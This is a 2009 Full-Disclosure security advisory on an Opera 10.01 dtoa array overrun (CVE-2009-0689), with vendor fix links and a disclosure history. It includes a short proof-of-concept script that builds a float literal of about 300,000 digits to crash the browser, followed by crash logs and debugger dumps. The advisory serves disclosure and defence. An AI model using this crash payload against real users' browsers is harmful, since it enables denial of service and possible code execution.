-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ Opera 10.01 Remote Array Overrun (Arbitrary code execution) ] Author: Maksymilian Arciemowicz and sp3x http://SecurityReason.com Date: - - Dis.: 07.05.2009 - - Pub.: 20.11.2009 CVE: CVE-2009-0689 Risk: High Remote: Yes Affected Software: - - Opera 10.01 - - Opera 10.10 Beta NOTE: Prior versions may also be affected. Original URL: http://securityreason.com/achievement_securityalert/73 - --- 0.Description --- Opera is a Web browser and Internet suite developed by the Opera Software company. The browser handles common Internet-related tasks such as displaying Web sites, sending and receiving e-mail messages, managing contacts, IRC online chatting, downloading files via BitTorrent, and reading Web feeds. Opera is offered free of charge for personal computers and mobile phones. - --- 1. Opera 10.01 Remote Array Overrun (Arbitrary code execution) --- The main problem exist in dtoa implementation. Opera has a very similar dtoa algorithm to the BSD, Chrome and Mozilla products. It is the same issue like SREASONRES:20090625. http://securityreason.com/achievement_securityalert/63 but fix for SREASONRES:20090625, used by openbsd was not good. More information about fix for openbsd and similars SREASONRES:20091030, http://securityreason.com/achievement_securityalert/69 We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16<= elements of freelist array. - --- 2. Proof of Concept (PoC) --- - ----------------------- <script> var a=0.<?php echo str_repeat("9",299999); ?>; </script> - ----------------------- If we use Opera to see this PoC, Opera will crash. For example - ----------------------- <script> var a=0.<?php echo str_repeat("1",296450); ?>; </script> - ----------------------- OPERA-CRASHLOG V1 desktop 10.01 1844 windows Opera.exe 1844 caused exception C0000005 at address 67956906 (Base: 400000) Registers: EAX=01165C40 EBX=0592064C ECX=A0D589D4 EDX=42000000 ESI=C20471EC EDI=00000000 EBP=0012E384 ESP=0012E2FC EIP=67956906 FLAGS=00010202 CS=001B DS=0023 SS=0023 ES=0023 FS=003B GS=0000 FPU stack: C020A38F66534266F000 C020A38F66534266F000 3FFBE38E38E38E38D800 3FC78000000000000000 10000000000100000000 0BBE0000000000040000 00000000000000000000 2EBA804E2FDE00000000 SW=0122 CW=027F 127# gdb -q opera opera.core ... Program terminated with signal 11, Segmentation fault. #0 0x2960307b in ?? () ... (gdb) i r eax 0x71c71c71 1908874353 ecx 0x2aa03be4 715144164 edx 0x0 0 ebx 0x296177f8 694253560 esp 0xbfbfb650 0xbfbfb650 ebp 0xbfbfb698 0xbfbfb698 esi 0x2962d000 694341632 edi 0x0 0 eip 0x2960307b 0x2960307b ... (gdb) x/100x ($esi)-90 0x2962cfa6: 0x71c71c71 0x1c71c71c 0xc71c71c7 0x71c71c71 0x2962cfb6: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c 0x2962cfc6: 0xc71c71c7 0x71c71c71 0x1c71c71c 0xc71c71c7 0x2962cfd6: 0x71c71c71 0x1c71c71c 0xc71c71c7 0x71c71c71 0x2962cfe6: 0x1c71c71c 0xc71c71c7 0x71c71c71 0x1c71c71c 0x2962cff6: 0xc71c71c7 0x71c71c71 Cannot access memory at address 0x2962cffe ... - --- 3. SecurityReason Note --- Officialy SREASONRES:20090625 has been detected in: - - OpenBSD - - NetBSD - - FreeBSD - - MacOSX - - Google Chrome - - Mozilla Firefox - - Mozilla Seamonkey - - KDE (example: konqueror) - - Opera - - K-Meleon This list is not yet closed. US-CERT declared that will inform all vendors about this issue, however, they did not do it. Even greater confusion caused new CVE number "CVE-2009-1563". Secunia has informed that this vulnerability was only detected in Mozilla Firefox, but nobody was aware that the problem affects other products like ( KDE, Chrome ) and it is based on "CVE-2009-0689". After some time Mozilla Foundation Security Advisory ("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html") was updated with note : "The underlying flaw in the dtoa routines used by Mozilla appears to be essentially the same as that reported against the libc gdtoa routine by Maksymilian Arciemowicz ( CVE-2009-0689)". This fact ( new CVE number for Firefox Vulnerability )and PoC in javascript (from Secunia), forced us to official notification all other vendors. We publish all the individual advisories, to formally show all vulnerable software and to avoid wrong CVE number. We do not see any other way to fix this issue in all products. - --- 4. Fix --- Opera fix: The vulnerability was fixed in the latest release candidate Opera RC3 : http://snapshot.opera.com/windows/Opera_1010_1890_in.exe In shortly time we can expect the final verion of Opera with the fix. NetBSD fix (optimal): http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h OpenBSD fix: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c - --- 5. Credits --- Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com. - --- 6. Greets --- Infospec p_e_a pi3 - --- 7. Contact --- Email: - - cxib {a.t] securityreason [d0t} com - - sp3x {a.t] securityreason [d0t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg - - http://securityreason.com/key/sp3x.gpg http://securityreason.com/ http://securityreason.pl/ -----BEGIN PGP SIGNATURE----- iEYEARECAAYFAksF4esACgkQpiCeOKaYa9bOkQCcDLKKqvSyE1ZJZebhBBiow8tV XqQAnR79bagErDfzJ3TV/MlLgrWXsGD7 =/IkD -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/